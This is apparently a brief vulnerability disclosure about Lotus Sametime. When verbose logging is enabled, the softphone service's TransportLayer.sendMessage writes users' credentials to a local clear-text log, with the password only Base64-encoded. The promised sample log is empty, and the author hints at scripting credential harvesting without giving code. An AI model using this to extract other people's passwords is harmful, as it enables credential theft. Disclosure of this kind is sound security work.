Lotus Sametime is an instant messaging application that includes several features such as video conferencing, phone calls, etc. .. In case of problems the Lotus Sametime provides functionality to register and trace log (Menu: Help / Support / Show Tracker). When you enable verbose logging is possible to obtain the user and the user's password (the password is in Base64), according to the procedure below. The vulnerability is in telephony.softphone.service more specifically in Source Class.Method:  
  
com.ibm.ws.sip.stack.transport.TransportLayer  
sendMessage  
  
Communication with the server is done via TLS, but the local content communication log is saved in clear text and the password is in base 64. Sample log:

Using a simple script you can automate the process of getting username and password, but beyond the scope of this tutorial and I will not explain this process here. Use your imagination!
